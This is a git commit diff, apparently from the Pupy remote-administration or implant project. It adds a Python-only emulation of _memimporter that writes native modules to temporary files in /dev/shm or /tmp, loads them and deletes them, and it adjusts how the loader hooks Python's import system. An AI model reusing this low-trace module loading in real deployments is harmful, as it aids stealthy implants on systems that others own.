Emulate _memimporter for python-only evironments

This commit is contained in:
Oleksii Shevchuk 2017-03-01 17:48:06 +02:00 committed by Oleksii Shevchuk
parent 8c35337379
commit bb292072e8
2 changed files with 51 additions and 11 deletions

View File

@ -28,8 +28,50 @@ def dprint(msg):
try: try:
import _memimporter import _memimporter
builtin_memimporter = True builtin_memimporter = True
allow_system_packages = False
except ImportError: except ImportError:
builtin_memimporter = False builtin_memimporter = False
allow_system_packages = True
import pkg_resources
from tempfile import mkstemp
from os import chmod, unlink, close, write
class MemImporter(object):
def __init__(self):
self.dir = None
for dir in ['/dev/shm', '/tmp', '/var/tmp', '/run']:
try:
fd, name = mkstemp(dir=dir)
except:
continue
try:
chmod(name, 0777)
self.dir = dir
break
finally:
close(fd)
unlink(name)
def import_module(self, data, initfuncname, fullname, path):
fd, name = mkstemp(dir=self.dir)
try:
write(fd, data)
imp.load_dynamic(fullname, name)
except:
self.dir = None
finally:
close(fd)
unlink(name)
_memimporter = MemImporter()
if _memimporter.dir:
print 'TMP DIR: {}'.format(_memimporter.dir)
builtin_memimporter = True
modules = {} modules = {}
@ -141,11 +183,12 @@ class PupyPackageLoader:
dprint('Loading {} from memory'.format(fullname)) dprint('Loading {} from memory'.format(fullname))
dprint('init={} fullname={} path={}'.format(initname, fullname, path)) dprint('init={} fullname={} path={}'.format(initname, fullname, path))
mod = _memimporter.import_module(self.contents, initname, fullname, path) mod = _memimporter.import_module(self.contents, initname, fullname, path)
mod.__name__=fullname if mod:
mod.__file__ = '<memimport>/{}'.format(self.path) mod.__name__=fullname
mod.__loader__ = self mod.__file__ = '<memimport>/{}'.format(self.path)
mod.__package__ = fullname.rsplit('.',1)[0] mod.__loader__ = self
sys.modules[fullname]=mod mod.__package__ = fullname.rsplit('.',1)[0]
sys.modules[fullname]=mod
except Exception as e: except Exception as e:
if fullname in sys.modules: if fullname in sys.modules:
@ -247,12 +290,12 @@ def install(debug=False):
global __debug global __debug
__debug = debug __debug = debug
if builtin_memimporter: if allow_system_packages:
sys.meta_path.append(PupyPackageFinder(modules))
else:
sys.meta_path = [ PupyPackageFinder(modules) ] sys.meta_path = [ PupyPackageFinder(modules) ]
sys.path = [] sys.path = []
sys.path_importer_cache.clear() sys.path_importer_cache.clear()
else:
sys.meta_path.append(PupyPackageFinder(modules))
if 'win' in sys.platform: if 'win' in sys.platform:
import pywintypes import pywintypes

View File

@ -79,9 +79,6 @@ try:
import pupy import pupy
except ImportError, e: except ImportError, e:
print 'Couldnt load pupy: {}'.format(e) print 'Couldnt load pupy: {}'.format(e)
import traceback
traceback.print_stack()
mod = imp.new_module("pupy") mod = imp.new_module("pupy")
mod.__name__ = "pupy" mod.__name__ = "pupy"
mod.__file__ = "<memimport>\\\\pupy" mod.__file__ = "<memimport>\\\\pupy"